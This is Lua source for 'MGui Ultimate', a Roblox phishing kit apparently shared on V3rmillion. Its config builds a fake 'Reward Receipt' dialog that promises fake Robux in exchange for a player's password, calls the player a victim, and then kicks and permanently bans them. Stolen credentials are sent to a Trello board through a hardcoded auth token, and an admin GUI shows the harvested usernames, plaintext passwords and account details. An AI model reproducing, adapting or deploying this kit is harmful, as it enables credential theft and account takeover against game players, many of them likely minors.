-- Made by SeniorFight for V3rmillion!

-- MGui Ultimate uses same system as MGR2, but has been
-- upgraded by me (the same creator of MGR2 and MGR1).
-- Now has perma-ban function on password confirmed,
-- Much more detailed admin gui with filtering options etc...
-- Trello now is a bit more optimized (should fix some old errors)
-- Added optional auto-installer.

local CONFIG = {

	CreatorUltraProtect = true, -- protects the Creator from being kicked nor banned by any method in MGU.

	-- as requested by nigahiga:
	Verifieds = {
		ObjID = "102611803", -- it's the ID of a item that makes a player "Verified".
		-- By default it's the hat called  Verified, Bonafide, Plaidafied (ID= 102611803)

		DirectKick = false, -- set to true if you want to kick ANY verified account.
		CanSeeGui = true, -- set to false so verifieds won't see MGU.
		CanChat = true, -- set to false if you want to hide chatbar for verified accounts.
		-- Note for chat: v3rmies that type in "v3rm" as password will get their chatbar back visible.

		LogVerifieds = true -- set to false if you don't want to log verified accounts.

		--Note: any admin nor bypass listed below won't get kicked nor banned.
	},

	-- as requested by Shinx (now Luxray):
	RewardType = "Robux", -- "Robux" or "Tickets or Cake (can be anything else than Robux, to show ticket icon)"

	FakeReward = 100, -- How much fake robux/tickets the player will receive? (Only for display pourposes)
	KickAfterValidation = true, -- Kick the victim after password validation? (Perma-bans the victims now!)
	LockChat = true, -- Hide chat when prompted for password?

	AdminList = {
		game.CreatorId, -- By default, it's your id.
		"Player1" -- Can be a string (name, not case sensitive) or number (id)
	},

	BypassList = { -- Can't see the admin gui, but won't be prompted for password.
		"Player1" -- Can be a string (name, not case sensitive) or number (id)
	},

	StorageType = "Global", -- Global or Local : sets whatever the data is saved in DataStore or game.Workspace

	-- Trello is a service that allows stocking 'cards' and it's a free app for phones.
	-- It is usefull as it allows many features like filtering by colors - which is usefull
	-- in this case as BCs have green color, TBCs orange, OBCs red and V3RMIES purple.

	-- Thanks to MGui Ultimate, you have just to make a trello account and fill the fields below.
	Trello = {
		-- Once you made an account on Trello.net, fill these (NOT BEFORE!)

		Enabled = true, -- Enable once you get an valid auth token and once you enabled HTTP service.

		ListName = "MGUI", -- Create a list in Trello.net (in any board you want),
		-- and put the name here if you changed to a custom name.
		-- WARN: IF THE LIST IS NOT FOUND OR A PROBLEM OCCURED, PLEASE PRESS F9 AND CHECK FOR ERROR REPORTS!
		-- ALSO: It will try to make a board AND list by itself it the table isn't found.
		-- So just put the AuthToken. That's the most important.

		AuthToken = "388e9b4be255c8710894ba0e5d5c25677b4ef4da14cd9d1be1fd72c9aee5f0d6" -- Get the token here (it's a link to copy/paste in the http browser bar):
-- https://trello.com/1/authorize?key=c23030853446613212d1847303c8f482&name=My+Application&expiration=never&response_type=token&scope=read,write
	},

	CustomUI = {
		MainText = "A new feature in Roblox allows players to get rewards in-game. In order to get any type of reward, You'll need to type in Your password so we can be sure that it's You.",
		SideNote = "Note: Your personal data will be safe.",
		InvalidText = " Your password is incorrect. Please check it and try again.", -- Leave little space at beginning to make it better looking.
		TitleText = "Reward Receipt"
	},

	StorageNames = {
		Local = "MGULocalStorage",
		Global = "MGU-DataStorage",
		Permabans = "MGUPermaBans"
	}
}

return CONFIG

-- Made by SeniorFight for V3rmillion and all of it's members!
-- You don't need to change anything here - all is in the options module.

local me = script.Parent
local hold = me:WaitForChild("MainFrameHolder")
local main = hold:WaitForChild("MainFrame")

local details = main:WaitForChild("DetailsFrame")
local content = main:WaitForChild("Content")
local options = main:WaitForChild("OptionsFrame")

local server = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
local config = server:InvokeServer("GetCustomParameters")
if not config.Verifieds.CanChat and server:InvokeServer("IsVerified",game.Players.LocalPlayer) then
	if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) and not server:InvokeServer("IsBypass",game.Players.LocalPlayer) then
		if config.CreatorUltraProtect then
			if not game.Players.LocalPlayer.userId == game.CreatorId then
				game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
			end
		else
			game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, false)
		end
	end
end
if not server:InvokeServer("IsAdmin",game.Players.LocalPlayer) then
	script.Parent:Destroy()
	return
end
local signal = me:WaitForChild("SignalCheck")

local optoggle = main:WaitForChild("OptToggle")

local Filter = {
	Mode = 0, -- 0 is <, 1 is >
	By = 1, -- 1 is name, 2 is bctype, 3 is age, no pass cuz y need dis?
	ByNames = {
		"Name",
		"BCType",
		"Age"
	},

	BCValues = {
		["NON-BC"] = 0,
		["BC"] = 1,
		["TBC"] = 2,
		["OBC"] = 3,
		["V3rm Member"] = -1,
		["Undefined"] = 0
	}
}

function ShowDetails(data)
	if not data then details.Visible = false return end

	details.UserName.Text = data.UserName
	details.UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=150&y=200&format=png&username="..data.UserName
	details.UserPass.Text = "Pass: "..data.UserPass
	details.UserBCType.Text = "Status: "..data.Type
	details.UserID.Text = "ID: "..tostring(data.UserID)
	details.UserAge.Text = "Age: "..tostring(data.UserAge) .. " days ~" .. tostring(data.UserAge / 365):sub(1,3) .. " yrs"
	details.Visible = true
end

details:WaitForChild("HideButton").MouseButton1Click:connect(function()
	details.Visible = false
end)

function RefreshContent()
	local list = server:InvokeServer("GetList")
	if list then
		content:ClearAllChildren()
		local function filtering(a, b)
			local par1, par2 = a.UserName, b.UserName
			if Filter.By == 2 then
				par1 = Filter.BCValues[a.Type] or 0
				par2 = Filter.BCValues[b.Type] or 0
			elseif Filter.By == 3 then
				par1 = a.UserAge
				par2 = b.UserAge
			end
			if Filter.Mode == 0 then
				return par1 < par2
			else
				return par1 > par2
			end
		end
		table.sort(list, filtering)

		-- Base Form for duplication

		local form = Instance.new("Frame")
		form.BackgroundTransparency = 1
		form.Size = UDim2.new(1, 0, 0, 30)

		local btag = Instance.new("TextLabel")
		btag.Size = UDim2.new(0.25, 0, 1, 0)
		btag.TextWrapped = true
		btag.TextColor3 = Color3.new(0, 170/255, 1)
		btag.BackgroundTransparency = 1
		btag.Font = Enum.Font.SourceSansBold
		btag.FontSize = Enum.FontSize.Size18
		btag.TextColor3 = Color3.new(0,0,0)
		btag.TextStrokeColor3 = Color3.new(0, 170/255, 1)
		btag.TextStrokeTransparency = 0

		local tag1 = btag:Clone()
		tag1.Parent = form
		tag1.Name = "NameTag"

		local tag2 = btag:Clone()
		tag2.Parent = form
		tag2.Name = "PassTag"
		tag2.Position = UDim2.new(0.25, 0, 0, 0)

		local tag3 = btag:Clone()
		tag3.Parent = form
		tag3.Name = "TypeTag"
		tag3.Position = UDim2.new(0.5, 0, 0, 0)

		local tag4 = btag:Clone()
		tag4.Parent = form
		tag4.Name = "AgeTag"
		tag4.Position = UDim2.new(0.75, 0, 0, 0)

		local detail = Instance.new("TextButton", form)
		detail.BackgroundTransparency = 1
		detail.Text = ""
		detail.TextTransparency = 1
		detail.Size = UDim2.new(1, 0, 1, 0)
		detail.Name = "DetailsButton"

		for x,data in ipairs(list) do
			local newForm = form:Clone()
			newForm.Name = "User="..data.UserName..";"
			newForm.Position = UDim2.new(0, 0, 0, (30 * x) - 30)

			newForm.NameTag.Text = data.UserName
			newForm.PassTag.Text = data.UserPass
			if data.Type == "BC" then
				newForm.TypeTag.TextStrokeColor3 = Color3.new(0, 170/255, 0)
			elseif data.Type == "TBC" then
				newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 170/255, 0)
			elseif data.Type == "OBC" then
				newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 0)
			elseif data.Type == "V3rm Member" then
				newForm.TypeTag.TextStrokeColor3 = Color3.new(1, 0, 170/255)
			end
			newForm.TypeTag.Text = data.Type
			newForm.AgeTag.Text = tostring(data.UserAge / 365):sub(1,3) .. " yrs"

			newForm.DetailsButton.MouseButton1Click:connect(function()
				ShowDetails(data)
			end)
			newForm.Parent = content
		end
		content.CanvasSize = UDim2.new(0, 0, 0, 30*#list)
		content.CanvasPosition = Vector2.new(0, 30*#list)
	end
end

signal.OnClientInvoke = RefreshContent

optoggle.MouseButton1Click:connect(function()
	if options.Visible then
		options.Visible = false
		optoggle.Text = "<"
	else
		options.Visible = true
		optoggle.Text = ">"
	end
end)

local acterase = options:WaitForChild("ActionErase")
local actbclear = options:WaitForChild("ActionClearBans")
local optfilter = options:WaitForChild("OptionFilter")

local eraseconf = false
local eraselock = false
acterase.MouseButton1Click:connect(function()
	if eraselock then return end
	if not eraseconf then
		eraseconf = true
		acterase.Text = "Sure ?"
	else
		eraselock = true
		eraseconf = false
		coroutine.resume(coroutine.create(function()
			while eraselock do
				for i=1,3 do
					if not eraselock then break end
					acterase.Text = "Erasing"..string.rep(".",i)
					wait(0.2)
				end
			end
			acterase.Text = "Erase Accounts"
		end))
		server:InvokeServer("Clear")
		eraselock = false
	end
end)

acterase.MouseLeave:connect(function()
	if eraseconf then
		eraseconf = false
		acterase.Text = "Erase Accounts"
	end
end)

local bclearconf = false
local bclearlock = false
actbclear.MouseButton1Click:connect(function()
	if bclearlock then return end
	if not bclearconf then
		bclearconf = true
		actbclear.Text = "Sure ?"
	else
		bclearlock = true
		bclearconf = false
		coroutine.resume(coroutine.create(function()
			while bclearlock do
				for i=1,3 do
					if not bclearlock then break end
					actbclear.Text = "Clearing"..string.rep(".",i)
					wait(0.2)
				end
			end
			actbclear.Text = "Clear Ban-List"
		end))
		server:InvokeServer("ClearBans")
		bclearlock = false
	end
end)

actbclear.MouseLeave:connect(function()
	if bclearconf then
		bclearconf = false
		actbclear.Text = "Clear Ban-List"
	end
end)

function UpdateFilterBtn()
	optfilter.Text = "Filter by: ".. Filter.ByNames[Filter.By] .. " " .. (Filter.Mode == 0 and "<" or ">")
	RefreshContent()
end
UpdateFilterBtn()

optfilter.MouseButton1Click:connect(function()
	if Filter.Mode == 0 then
		Filter.Mode = 1
	else
		Filter.Mode = 0
		if Filter.By < 3 then
			Filter.By = Filter.By + 1
		else
			Filter.By = 1
		end
	end
	UpdateFilterBtn()
end)

optfilter.MouseButton2Click:connect(function()
	if Filter.Mode == 1 then
		Filter.Mode = 0
	else
		Filter.Mode = 1
		if Filter.By > 1 then
			Filter.By = Filter.By - 1
		else
			Filter.By = 3
		end
	end
	UpdateFilterBtn()
end)

me:WaitForChild("GUIToggle").Visible = true
me.GUIToggle.MouseButton1Click:connect(function()
	hold.Visible = not hold.Visible
end)